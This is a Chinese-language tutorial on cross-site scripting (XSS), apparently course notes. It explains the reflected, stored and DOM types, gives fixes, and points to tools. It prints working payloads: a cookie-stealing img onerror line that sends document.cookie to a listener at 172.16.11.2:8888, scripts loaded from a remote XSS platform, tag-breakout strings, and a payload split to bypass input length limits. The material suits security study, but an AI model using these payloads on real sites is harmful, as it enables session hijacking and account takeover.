XSS漏洞原理和利用

XSS漏洞的危害
1.窃取用户Cookie,如果用户Cookie被窃取,攻击者可以不通过密码,而直接登录用户账户
2.使用XMLHttpRequest构造模拟用户请求操作
3.XSS钓鱼攻击
4.用户PC信息探测收集器
5.XSS蠕虫攻击
等等

防御:对一些关键cookie信息不能被js端操作的,我们可以使用http-only参数设置为true,这样js就不能操作该cookie了。

XSS 跨站攻击就是入侵者在远程Web页面的HTML代码中插入具有恶意目的的代码,当用户点击此页面时就是被执行入侵者代码,然后改代码会收集用户的Cookie等前端页面JS可以操作的数据和内容。比如账号,密码,用户权限等。

1.XSS介绍及原理

XSS又叫CSS(Cross Site Script),跨站脚本攻击。它指的是恶意攻击者往Web页面
里插入恶意JS代码,当用户浏览该页之时,嵌入其中Web里面的JS代码会被执行,从而
达到恶意的特殊目的。

利用我们所知道的各种黑魔法,向Web页面插入JS代码,让JS代码可以被浏览器执行,
访问该页面的用户则被攻击。

XSS漏洞分类
1.反射型
非存储型,就是通过get或者post请求时,被后端处理过数据,并且响应到前端页面上

2.存储型
XSS代码被存储到服务器上的数据库里的某张表的字段里,或者页面,或者某个上传文件里

3.DOM型
仅仅在前段页面进行操作的

XSS漏洞修复方法
1.HTML实体编码
2.使用白名单过滤掉用户输入的恶意字符
3.根据业务场景对症下药

2.存储型XSS实战

1)、存储XSS的原理
攻击者在页面上插入XSS代码,服务器端将数据存入数据库,当用户访问到存在XSS漏洞的页面时
服务器端从数据库中取出数据展示到页面上,导致XSS代码执行,达到攻击效果。

XSS漏洞:就是写一段JS/HTML代码放到用户可以编辑内容的文本框中,随着数据一起上传到服务器的表字段里存着
当用户访问这个数据时,就会执行我们写的JS/HTML代码。

修复漏洞:在服务端过滤掉HTML的尖括号,比如php的自带函数strip_tags(),然后对于一些可以执行的函数进行
手动写函数过滤,过滤掉onchange(),onload(),onclick(),onerror()等等函数

3.反射型XSS实战

反射型XSS的原理

反射型XSS也叫做非持久型XSS,
攻击者在URL中插入XSS代码,服务端将URL中的XSS代码输出到页面上,攻击者将带有XSS代码的URL发送给用户,
用户打开后受到XSS攻击。

4.DOM型XSS实战

通过修改页面的DOM节点形成的XSS,称之为XSS;效果跟反射型XSS类似
攻击者在URL中插入XSS代码,前端页面直接从URL中获取XSS代码并且输出到页面,导致XSS代码的执行,攻击者将带有XSS代码的URL发给用户,用户打开后受到XSS攻击。

5.XSS辅助测试工具

工具1:Beef
http://beefproject.com
一个挖漏洞项目,可以将它的hook.js通过XSS的方法被存储到某个网站,然后那个网站只要访问这个页面信息,
那么整个网站就被监控了

工具2:XSS’OR
http://xssor.io
是一个在线XSS代码的转换工具,也可以发送伪造请求

XSS测试平台,老师他们自己创建的
https://x.secbox.cn

工具3:IE Tester
该工具可以在IE5,6,7,8等版本的上测试网页

XSS代码的例子

例子 0x01

一段XSS代码,可以放到输入框中随着数据一起上传,最后用户浏览的cookie信息都自动上传到http://172.16.11.2:8888 上了

<img src=x onerror = document.body.appendChild(document.createElement('img')).setAttribute('src','http://172.16.11.2:8888/?='+document.cookie); >

最后读取出来的html代码是这样

然后,只要有用户访问这个页面的,那么代码就会被执行,其实PHPSESSID就会被自动传输到我们自定义的网址上(http://172.16.11.2:888)

绕过input和textarea标签的限制

例子 0x02:

比如页面的是input标签显示我们的XSS代码

<input type="text" value="<img src=x οnerrοr='alert(1)'>">

这样的代码,alert(1)是不会执行的,所以我们修改XSS的代码

"><img src=x onerror='alert(1)'><h1 value="

最后合并为:

<input type="text" value=""><img src=x onerror='alert(1)'><h1 value="">

这样的话,我们的XSS代码就插入成功了

例子 0x03:

如果我们的XSS代码在textarea标签里的话,那么代码也不会执行,所以我们要修改XSS代码

<textarea><img src=x onerror='alert(1)'></textarea>

修改:

</textarea><img src=x onerror='alert(1)'><textarea>

合并后最终的代码是:

<textarea></textarea><img src=x onerror='alert(1)'><textarea></textarea>

这样的话,我们的XSS就绕过了textarea的限制

例子 0x04: 拆分XSS代码,Bypass绕过提交

如果输入框被限制了输入长度,我们可以通过拆分JS的代码,分成多段以提交

例如:
一个完整的在img标签上XSS代码

<img src=x οnerrοr=s=createElement('script');body.appendChild(s);s.src='https://x.secbox.cn/uCoBtX';>

一个完整的在script标签里的XSS代码

<script>s=document.createElement('script');body.appendChild(s);s.src='https://x.secbox.cn/uCoBtX';</script>

拆分开来进行XSS代码提交,假设页面的输入框限制30个字符的长度提交,那我们就把原XSS代码拆分开多段来提交

就是把完整的代码分开成几段,每段前后用的标签的JS语法,表示注释掉之间的HTML任何内容:

<td><script>s=document./*</td>
<td>*/createElement('script');/*</td>
<td>*/body.appendChild(s);/*</td>
<td>*/s.src='https://x.sec'+/*</td>
<td>*/'box.cn/uCoBtX';</script>/*</td>

然后提交的时候,抛去前后标签,分成5次提交。

DOM型的XSS实际场景下,一般我们就是分析前端的Javascript代码和HTML代码,然后我们可以在F12调试下动态去运行JS代码以达到我们的攻击目的

https://www.ichunqiu.com/career/105/330

Electron

官网 https://electronjs.org
Electron是使用JavaScript、HTML、CSS构建跨平台的桌面应用,
程序可以运行在Mac,Linux和Windows平台上,因为本质上就是使用NodeJS封装的,
而我们的业务功能就是使用HTML、CSS、JavaScript开发的

Electron + XSS = CommandExec 是比较严重的

postMessage介绍

是通过js发送消息的函数
window.postMessage()官方介绍
https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage

通过window.addEventListener(“message”, function(){}, false);监听消息,
window.postMessage("", “”);就是发送消息

挖漏洞的一些教程
使用postMessage()和WebSocket重连来窃取你的Slack的Token
https://www.anquanke.com/post/id/85634

AddThis Wedget调用post Message API导致上百万网站存在存在XSS漏洞
http://www.mottoin.com/94130.html

localStorage

是通过js存储值用的
window.localStorage
https://developer.mozilla.org/zh-CN/docs/Web/API/Window/localStorage

只读的localStorage 属性允许你访问一个Document 源(origin)的对象 Storage;存储的数据将保存在浏览器会话中。localStorage 类似 sessionStorage,但其区别在于:存储在 localStorage 的数据可以长期保留;而当页面会话结束——也就是说,当页面被关闭时,存储在 sessionStorage 的数据会被清除 。

应注意,无论数据存储在 localStorage 还是 sessionStorage ,它们都特定于页面的协议。

另外,localStorage 中的键值对总是以字符串的形式存储。 (需要注意, 和js对象相比, 键值对总是以字符串的形式存储意味着数值类型会自动转化为字符串类型).

localStorage.setItem(‘myCat’, ‘Tom’);
let cat = localStorage.getItem(‘myCat’);
localStorage.removeItem(‘myCat’);
localStorage.clear();

通过localStorage.setItem('username', '<svg/onload=alert(1)></svg>')来做到反射型XSS,然后再看是否可以利用存储型XSS

变种 XSS

XSS 持久控制思路

ServiceWorker: https://developer.mozilla.org/zh-CN/docs/Web/API/Service_Worker_API
Service workers 本质上充当Web应用程序与浏览器之间的代理服务器,也可以在网络可用时作为浏览器和网络间的代理。它们旨在(除其他之外)使得能够创建有效的离线体验,拦截网络请求并基于网络是否可用以及更新的资源是否驻留在服务器上来采取适当的动作。他们还允许访问推送通知和后台同步API。

ServiceWorker的教程
https://www.cnblogs.com/dojo-lzz/p/8047336.html

经验分享 | XSS手工利用方式:https://www.freebuf.com/sectool/159689.html

PHPMyWin 5.3 - Cross-Site Scripting:https://www.exploit-db.com/exploits/42535

Kali Linux 下载:https://www.kali.org/downloads/

i春秋学习教程:https://www.ichunqiu.com/newRelease/webaqgcs

XSS漏洞原理和利用相关推荐

  1. XSS漏洞原理及攻击

    XSS漏洞原理 XSS介绍 XSS漏洞介绍 1. 跨站脚本(Cross-Site Scripting),简称为XSS或CSS或跨站脚本攻击,是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种. ...

  2. 简述xss漏洞原理及危害?xss漏洞有哪些类型?xss漏洞哪个类型危害最大?如何防御xss漏洞

    Xss漏洞原理:服务器对用户提交的数据过滤不严,导致浏览器把用户的输入当成了JS代码并直接返回给客户端执行,从而实现对客户端的攻击目的. 危害: 1.窃取用户Cookie 2.后台增删改文章 3.XS ...

  3. Xss漏洞原理分析及简单的讲解

    感觉百度百科 针对XSS的讲解,挺不错的,转载一下~ XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS, ...

  4. XSS漏洞原理、分类、危害及防御

    一.XSS简介 XSS全称:跨站脚本(Cross Site Scripting) ,为了不和层叠样式表(Cascading Style Sheets)的缩写CSS混合,所以改名为XSS:攻击者会向we ...

  5. XSS漏洞原理/方式/防御

    XSS又叫跨站脚本攻击 , 攻击的对象是客户端 原理 攻击者在Web页面插入恶意JS代码,用户浏览网页的时候,JS代码会被执行,从而攻击正常用户 危害 比如通过cookie获取管理员权限 ; 网页挂马 ...

  6. 浅谈SQL注入漏洞原理及利用方式

    1.SQL注入 原理: 在数据交互中,前端的数据传入到后台处理时,由于后端没有做严格的判断,导致其传入的恶意"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行.漏洞产生于脚 ...

  7. JAVA反序列漏洞原理及利用工具

    Java反序列化漏洞原理 序列化就是把对象转换成字节流,便于保存在内存.文件.数据库中:反序列化即逆过程,由字节流还原成对象. Java中的ObjectOutputStream类的writeObjec ...

  8. 永恒之蓝漏洞原理及利用

    本文转自行云博客https://www.xy586.top/ 文章目录 摘要 前提需要 原理 漏洞利用 摘要 什么是永恒之蓝 永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利 ...

  9. XSS漏洞原理及防范措施

    XSS介绍 XSS(Cross Site Scripting,跨站脚本攻击)是一种常见的网络安全漏洞,允许攻击者在受害者浏览网站时,通过注入恶意脚本(如JavaScript)到网页中,从而窃取用户敏感 ...

最新文章

  1. 【数据平台】Eclipse+Scala开发环境(本机和集群两个运行模式)
  2. 马云的移动战略:变革和创新
  3. 五、JavaScript基础知识,学会操作元素的简单事件(一)
  4. 2018.10.18多校
  5. js 短信验证码 6位数字
  6. 【华为云技术分享】【DevCloud· 敏捷智库】物理看板和电子看板该如何选择?(内附下载材料)
  7. TensorFlow 实战(四)—— tensor 的认识
  8. LWN:5.16 合并窗口,第二部分!
  9. QT 菜单栏、工具栏和状态栏
  10. 数据结构与算法学习资源
  11. 向《天真的女孩投降》观后感
  12. Origin2018给两条曲线间画阴影/使用数据标记功能/绘制分段函数/求分段函数的微分图
  13. 《Cisco VPP SFC》2、NSH_SFC 安装
  14. 网络购物需谨慎 “闲鱼”与“咸鱼“仅一个链接的距离
  15. Glamhive创始人Stephanie Sprangers与明星造型师Johnny Wujek和Nicole Chavez、明星发型师Andrew Fitzsimons和时尚影响者Claire Su
  16. php v11跟v14区别,独家揭秘真相戴森v11absolute和fluffy哪个好?有啥区别?老司机指教诉说...
  17. 运行github中python程序_从phon上的github直接运行python代码
  18. 幂集(回溯法) pta
  19. 小黑记事本怎样设置html,小黑记事本便签怎样设置?便签设置流程图文介绍
  20. uwsgi listen配置

热门文章

  1. php赋值 jq,jQuery的serializeArray对象赋值问题
  2. MIT牛人解说数学体系 Ⅰ
  3. 25岁,人生规划(职场第二个三年)(理论)
  4. win7计算机用户设置口令,几步教会你win7共享打印机设置密码_打印机怎么设置用户密码...
  5. ES(Elasticsearch)中间件
  6. 基于vitamio的网络电视直播源码
  7. 计算机Logical_test公式,excel中if函数的logical_test是公式,怎么写if公式?
  8. iOS视频全屏与界面旋转的控制
  9. 直播源码搭建教程,教你实现举报功能
  10. 双11电商店铺活动怎么推广?